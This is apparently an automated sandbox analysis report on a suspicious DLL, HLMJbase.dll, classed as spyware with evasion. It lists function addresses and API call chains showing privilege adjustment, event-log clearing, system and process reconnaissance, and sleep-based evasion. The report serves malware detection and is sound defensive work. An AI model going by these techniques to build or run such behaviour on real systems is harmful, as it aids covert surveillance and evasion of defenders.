Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB6F61C	3_2_6CB6F61C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBA5674	3_2_6CBA5674
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CB7D0F7	3_2_6CB7D0F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE1060	3_2_6CBE1060
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CC0524A	3_2_6CC0524A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBCD246	3_2_6CBCD246
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6CBE9370	3_2_6CBE9370
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048E0CAE	4_2_048E0CAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048D24B0	4_2_048D24B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048E11FF	4_2_048E11FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048E2D61	4_2_048E2D61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048DB6A6	4_2_048DB6A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048E1E2C	4_2_048E1E2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048E1750	4_2_048E1750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054C6E60	4_2_054C6E60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054C6BE0	4_2_054C6BE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054DDDF0	4_2_054DDDF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054C24A0	4_2_054C24A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054DF9FF	4_2_054DF9FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054C8870	4_2_054C8870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054DD89F	4_2_054DD89F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054DE341	4_2_054DE341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054D8381	4_2_054D8381
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054DEA1D	4_2_054DEA1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04CF659F	4_2_04CF659F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04D07D40	4_2_04D07D40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04D0DD00	4_2_04D0DD00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04CF1E5F	4_2_04CF1E5F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04D0D7AF	4_2_04D0D7AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04CF681F	4_2_04CF681F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04D0D25E	4_2_04D0D25E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04CF822F	4_2_04CF822F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04D0F3BE	4_2_04D0F3BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_043324B0	5_2_043324B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04340CAE	5_2_04340CAE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04342D61	5_2_04342D61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_043411FF	5_2_043411FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04341E2C	5_2_04341E2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0433B6A6	5_2_0433B6A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04341750	5_2_04341750
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E86E60	5_2_04E86E60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E86BE0	5_2_04E86BE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E824A0	5_2_04E824A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E9DDF0	5_2_04E9DDF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04EA978D	5_2_04EA978D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E9D89F	5_2_04E9D89F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E88870	5_2_04E88870
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E9F9FF	5_2_04E9F9FF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E9EA1D	5_2_04E9EA1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E98381	5_2_04E98381
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E9E341	5_2_04E9E341
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046D7D40	5_2_046D7D40
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046DDD00	5_2_046DDD00
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046C659F	5_2_046C659F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046C1E5F	5_2_046C1E5F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046DD7AF	5_2_046DD7AF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046C681F	5_2_046C681F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046DD25E	5_2_046DD25E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046C822F	5_2_046C822F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046DF3BE	5_2_046DF3BE

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6CB68880 appears 80 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 04E942E0 appears 32 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6CC025D0 appears 48 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 054D42E0 appears 32 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6CC022D0 appears 146 times

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 724

Source: HLMJbase.dll

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE, DLL

Source: HLMJbase.dll	Binary string: HandleAfdPollInfo\Device\Afd\Mio
Source: HLMJbase.dll	Binary string: Failed to open \Device\Afd\Mio:

Source: classification engine

Classification label: mal72.spyw.evad.winDLL@11/5@1/2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CBE9F40 memset,GetModuleHandleW,FormatMessageW,memmove,GetLastError,

3_2_6CBE9F40

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054C75A0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	4_2_054C75A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054C76C0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	4_2_054C76C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054C7AF0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	4_2_054C7AF0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E875A0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,OpenProcess,	5_2_04E875A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E876C0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,	5_2_04E876C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E87AF0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,CloseHandle,	5_2_04E87AF0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054C6BE0 wsprintfW,GetDriveTypeW,GetDiskFreeSpaceExW,_memset,GlobalMemoryStatusEx,swprintf,swprintf,

4_2_054C6BE0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054C5FE0 _memset,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,Process32NextW,CloseHandle,CloseHandle,

4_2_054C5FE0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054C6620 wsprintfW,CoInitialize,CoCreateInstance,SysFreeString,SysFreeString,CoUninitialize,

4_2_054C6620

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\2024.12.19
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7492:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7544

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\116622cf-9c8a-4503-a27a-35d36a772c23

Jump to behavior

Source: HLMJbase.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\HLMJbase.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",NvOptimusEnablement
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 724
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\HLMJbase.dll,NvOptimusEnablement	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",NvOptimusEnablement	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HLMJbase.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: HLMJbase.dll

Static file information: File size 1071104 > 1048576

Source: HLMJbase.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: HLMJbase.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6CBEC9B0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,memset,GetProcAddress,GetCurrentProcess,lstrlenW,memmove,GetCurrentProcessId,CreateMutexA,CloseHandle,ReleaseMutex,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,

3_2_6CBEC9B0

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048E7AFE push eax; retn 0000h	4_2_048E7B05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_048D9EF5 push ecx; ret	4_2_048D9F08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054E2443 push ebp; retf	4_2_054E2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054E2450 push ebp; retf	4_2_054E2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054E2470 push ebp; retf	4_2_054E2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054EA168 push eax; ret	4_2_054EA119
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054EA0B8 push eax; ret	4_2_054EA119
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_054D4325 push ecx; ret	4_2_054D4338
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04D03CE4 push ecx; ret	4_2_04D03CF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04339EF5 push ecx; ret	5_2_04339F08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04347AFF push eax; retn 0000h	5_2_04347B05
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04EA2470 push ebp; retf	5_2_04EA2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04EA245F push ebp; retf	5_2_04EA2474
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04EAA0B8 push eax; ret	5_2_04EAA119
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04EAA168 push eax; ret	5_2_04EAA119
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04E94325 push ecx; ret	5_2_04E94338
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_046D3CE4 push ecx; ret	5_2_046D3CF7

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054CB351 OpenEventLogW,OpenEventLogW,ClearEventLogW,CloseEventLog,

4_2_054CB351

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 3324	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 5607	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 5644	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 3281	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Source: C:\Windows\SysWOW64\rundll32.exe

API coverage: 9.1 %

Source: C:\Windows\SysWOW64\rundll32.exe TID: 7880	Thread sleep count: 284 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7972	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7972	Thread sleep time: -54000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7996	Thread sleep count: 3324 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7996	Thread sleep time: -33240s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7972	Thread sleep count: 5607 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7972	Thread sleep time: -5607000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7940	Thread sleep count: 245 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8024	Thread sleep count: 5644 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8024	Thread sleep time: -5644000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8032	Thread sleep count: 3281 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 8032	Thread sleep time: -32810s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	Thread sleep count: Count: 3324 delay: -10			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread sleep count: Count: 3281 delay: -10			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054C8060 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

4_2_054C8060

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_054C53C0 _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,

4_2_054C53C0

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: rundll32.exe, 00000003.00000003.1770250771.000000000286B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2008105051.000000000286D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1770502384.000000000286D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1738954589.000000000286D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1770216842.0000000002CBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1738806367.0000000002CBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.4176037293.0000000002C9A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1833709462.0000000002CBD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1844676174.000000000276D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1795518550.000000000276D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1795184851.000000000276D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
